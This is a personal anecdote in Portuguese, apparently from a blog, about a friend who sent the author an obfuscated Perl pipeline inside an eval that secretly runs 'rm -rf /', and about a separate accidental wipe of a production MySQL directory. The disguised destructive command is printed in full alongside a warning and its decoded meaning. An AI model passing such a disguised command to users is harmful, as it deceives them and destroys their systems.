Muitos anos atrás, eu estava em casa codificando algumas coisas em php enquanto trabalhava em um projeto com um amigo meu que era o mantenedor do projeto. Estávamos conversando em um esforço de colaboração. Nós sempre brincamos de um lado para o outro no jogo.
Eu estava tentando fazer o ssh-agent funcionar corretamente em minha máquina enquanto estávamos tendo uma guerra religiosa entre Perl e PHP. Então mencionei algo sobre o ssh-agent que precisava ser avaliado (não sei por que disse isso). Então ele me enviou esta mensagem em um esforço, assim pensei, para me ajudar com o meu problema (lembre-se de que eu tinha que enraizar):
\# eval $(echo ssh-agent |
perl -pe 's/h-a/m -r/' |
perl -pe 's/^ss/r/' |
perl -pe 's/gent/f \//')
ATENÇÃO! NÃO EXECUTE ESTE COMANDO !!!
SE você remove o eval e executa o comando interno por si só, é:
rm -rf /
Levei 4 segundos para perceber o que estava acontecendo, mas o estrago já estava feito. Eu tive que reinstalar meu sistema operacional. Felizmente, nada do meu trabalho foi eliminado, exceto algumas coisas no / etc iirc. Ele riu muito quando lhe enviei uma mensagem de horror perguntando por que ele fez isso. Nós dois somos engenheiros de sistemas de longo prazo. Ele não achava que eu iria rodar e seria mais cuidadoso em checar antes de simplesmente c & p'ing e eu confiava nele, então nem pensei que ele estivesse brincando. Escusado será dizer que esta pequena história surge o tempo todo entre nós. Então, eu decidi imortalizá-lo.
Como mitiguei isso de acontecer novamente? Eu não confio em ninguém!
Outra história menos interessante é que, alguns anos atrás, eu estava trabalhando em uma caixa de missão crítica no trabalho. Eu tinha alguns termos abertos para máquinas diferentes. Eu precisava remover algumas coisas supérfluas em um diretório. Bem, eu me perdi nos meus termos e acidentalmente me levantei . no meu diretório local, mas no host errado (termo errado) !!. Eu executei o comando em / var / lib / mysql em vez de / tmp no servidor de aplicativos (termo diferente). Escusado será dizer que acabei com o banco de dados de produção. Felizmente, tínhamos uma espera calorosa para a qual passamos, enquanto eu e um colega de trabalho reconstruímos a primária de backups e espera. Isso levou cerca de 18 horas para fazer.
Mitigação: mais cuidado em quais janelas eu executo comandos antes de executá-los.